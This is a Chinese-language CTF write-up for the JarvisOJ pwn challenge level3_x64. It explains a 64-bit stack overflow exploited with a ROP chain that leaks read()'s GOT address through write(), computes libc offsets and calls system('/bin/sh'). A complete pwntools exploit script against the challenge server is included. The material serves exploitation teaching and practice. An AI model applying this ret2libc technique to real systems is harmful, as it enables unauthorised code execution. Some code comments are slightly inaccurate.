[JarvisOj](pwn)level3_x64
2017-03-14 本文已影响422人
王一航
简介 :
项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
下载地址 : https://dn.jarvisoj.com/challengefiles/level3_x64.rar.8e639c3daf929853a1bc654d79c7992c```
---
####地址 :
nc pwn2.jarvisoj.com 9883
---
####分析 :
该题和 level3 的代码相比 :
- 少了在 read() 函数之前调用 write() 函数
- 64 位函数调用需要使用寄存器传参
我们可以利用 read() 函数先溢出修改返回地址到 .plt 表中的 write() 函数
这样我们就可以通过构造 write() 函数的调用栈来打印出 got 表中 read() 或者 write() 函数的地址
那么我们知道了地址 , 就可以通过 libc 来寻找到 system() 函数的偏移地址了
然后再构造 sytem() 的调用栈
但是这里存在一个问题 :
当我们想要构造 write() 函数的调用栈的时候 , 参数的传递需要通过寄存器传参的方式进行
也就是说要调用 write(0, read_got, 0x08)
我们需要将 :
rdi 设置为 0
rsi 设置为 read() 函数在 got 表中的地址
rdx 设置为 0x08
我们来通过 ropper 来寻找一下 pop rdi; ret 指令 , 发现可以成功在可执行程序中找到
pop rsi; ret 也可以顺利找到
但是 pop rdx; ret 却找不到 , 这个时候应该怎么办呢 ?
如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可
经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可
这样就 leak 出了 libc 中 read 函数的真实地址 , 接下来就比较常规了
system 只需要传递一个参数 , 直接使用之前的 pop rdi 即可
---
####利用代码 :
```python
#!/usr/bin/env python
# encoding:utf-8
from pwn import *
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " read@"
# 883: 00000000000eb6a0 90 FUNC WEAK DEFAULT 12 read@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " system@"
# 1337: 0000000000046590 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " exit@"
# 126: 000000000003c1e0 21 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ strings -a -t x libc-2.19.so | grep "/bin/sh"
# 17c8c3 /bin/sh
read_libc_address = 0xeb6a0
bin_sh_libc_address = 0x17c8c3
system_libc_address = 0x46590
exit_libc_address = 0x3c1e0
payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(0x01) # stdin; 1st argv for write()
payload += p64(0x4006b1) # pop rsi;ret
payload += p64(0x600A60) # .got.plt read(); 2nd argv for write()
payload += p64(0) # junk
# I assuming that rbx is bigger than 8 , and in fact it is so.
#payload += p64(0x1b92) # pop rdx;ret
#payload += p64(0x10) # write 4 bytes; 3rd argv for write()
payload += p64(0x4004B0) # write() .plt
payload += p64(0x4005E6) # vulnerable_function()
Io = remote("pwn2.jarvisoj.com", 9883)
# Io = process("./level3_x64")
Io.recvuntil("Input:\n")
Io.send(payload)
temp = Io.recv(8)
read_address = u64(temp[0:8])
offset = read_address - read_libc_address
bin_sh_address = offset + bin_sh_libc_address
system_address = offset + system_libc_address
exit_address = offset + exit_libc_address
payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(bin_sh_address) # /bin/sh ; argv for system()
payload += p64(system_address) # address of system()
payload += p64(exit_address)
Io.send(payload)
Io.interactive()